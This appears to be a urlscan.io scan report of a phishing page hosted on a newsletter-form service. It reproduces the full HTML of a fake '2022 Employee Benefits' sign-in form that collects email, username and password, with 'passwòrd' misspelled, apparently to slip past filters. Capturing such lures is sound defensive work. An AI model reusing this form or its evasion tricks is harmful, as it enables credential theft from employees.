546782d6.sibforms.com Open in urlscan Pro
2606:4700::6810:f86d  Public Scan

Form analysis
1 forms found in the DOM

POST

<form id="sib-form" method="POST" action="" data-type="subscription" novalidate="true">
  <div style="padding: 8px 0;">
    <div class="sib-form-block" style="font-size:27px; text-align:center; font-weight:700; font-family:&quot;Helvetica&quot;, sans-serif; color:#094596; background-color:transparent; text-align:center">
      <p>&nbsp;<strong>2022 Employee Benefits</strong>&nbsp;</p>
    </div>
  </div>
  <div style="padding: 8px 0;">
    <div class="sib-form-block" style="font-size:16px; text-align:center; font-family:&quot;Helvetica&quot;, sans-serif; color:#3C4858; background-color:transparent; text-align:center">
      <div class="sib-text-form-block">
        <p>&nbsp;Sign in with your organizational email and passwòrd to continue</p>
      </div>
    </div>
  </div>
  <div style="padding: 8px 0;">
    <div class="sib-form-block sib-divider-form-block">
      <div style="border: 0; border-bottom: 1px solid #E5EDF6"></div>
    </div>
  </div>
  <div style="padding: 8px 0;">
    <div class="sib-input sib-form-block">
      <div class="form__entry entry_block">
        <div class="form__label-row ">
          <label class="entry__label" style="font-weight: 700; text-align:left; font-size:16px; text-align:left; font-weight:700; font-family:&quot;Helvetica&quot;, sans-serif; color:#3c4858;" for="EMAIL" data-required="*">Email Address</label>
          <div class="entry__field">
            <input class="input " type="text" id="EMAIL" name="EMAIL" autocomplete="off" data-required="true" required="">
          </div>
        </div>
        <label class="entry__error entry__error--primary" style="font-size:16px; text-align:left; font-family:&quot;Helvetica&quot;, sans-serif; color:#661d1d; background-color:#ffeded; border-radius:3px; border-color:#ff4949;">
        </label>
      </div>
    </div>
  </div>
  <div style="padding: 8px 0;">
    <div class="sib-input sib-form-block">
      <div class="form__entry entry_block">
        <div class="form__label-row ">
          <label class="entry__label" style="font-weight: 700; text-align:left; font-size:16px; text-align:left; font-weight:700; font-family:&quot;Helvetica&quot;, sans-serif; color:#3c4858;" for="LASTNAME" data-required="*">Username</label>
          <div class="entry__field">
            <input class="input " maxlength="200" type="text" id="LASTNAME" name="LASTNAME" autocomplete="off" data-required="true" required="">
          </div>
        </div>
        <label class="entry__error entry__error--primary" style="font-size:16px; text-align:left; font-family:&quot;Helvetica&quot;, sans-serif; color:#661d1d; background-color:#ffeded; border-radius:3px; border-color:#ff4949;">
        </label>
      </div>
    </div>
  </div>
  <div style="padding: 8px 0;">
    <div class="sib-input sib-form-block">
      <div class="form__entry entry_block">
        <div class="form__label-row ">
          <label class="entry__label" style="font-weight: 700; text-align:left; font-size:16px; text-align:left; font-weight:700; font-family:&quot;Helvetica&quot;, sans-serif; color:#3c4858;" for="FIRSTNAME" data-required="*">Passwòrd</label>
          <div class="entry__field">
            <input class="input " maxlength="200" type="text" id="FIRSTNAME" name="FIRSTNAME" autocomplete="off" data-required="true" required="">
          </div>
        </div>
        <label class="entry__error entry__error--primary" style="font-size:16px; text-align:left; font-family:&quot;Helvetica&quot;, sans-serif; color:#661d1d; background-color:#ffeded; border-radius:3px; border-color:#ff4949;">
        </label>
      </div>
    </div>
  </div>
  <div style="padding: 8px 0;">
    <div class="sib-form-block" style="text-align: center">
      <button class="sib-form-block__button sib-form-block__button-with-loader"
        style="font-size:16px; text-align:center; font-weight:700; font-family:&quot;Helvetica&quot;, sans-serif; color:#FFFFFF; background-color:#073f96; border-radius:3px; border-width:0px;" form="sib-form" type="submit">
        <svg class="icon clickable__icon progress-indicator__icon sib-hide-loader-icon" viewBox="0 0 512 512">
          <path
            d="M460.116 373.846l-20.823-12.022c-5.541-3.199-7.54-10.159-4.663-15.874 30.137-59.886 28.343-131.652-5.386-189.946-33.641-58.394-94.896-95.833-161.827-99.676C261.028 55.961 256 50.751 256 44.352V20.309c0-6.904 5.808-12.337 12.703-11.982 83.556 4.306 160.163 50.864 202.11 123.677 42.063 72.696 44.079 162.316 6.031 236.832-3.14 6.148-10.75 8.461-16.728 5.01z">
          </path>
        </svg> Sign in </button>
    </div>
  </div>
  <input type="text" name="email_address_check" value="" class="input--hidden" aria-hidden="true">
  <input type="hidden" name="locale" value="en">
</form>

Text Content

Your subscription could not be saved. Please try again.

You are not eligible for this offer. Please visit
https://coviduninsuredclaim.linkhealth.com/get-started.html for more info.


 2022 Employee Benefits 

 Sign in with your organizational email and passwòrd to continue


Email Address

Username

Passwòrd

Sign in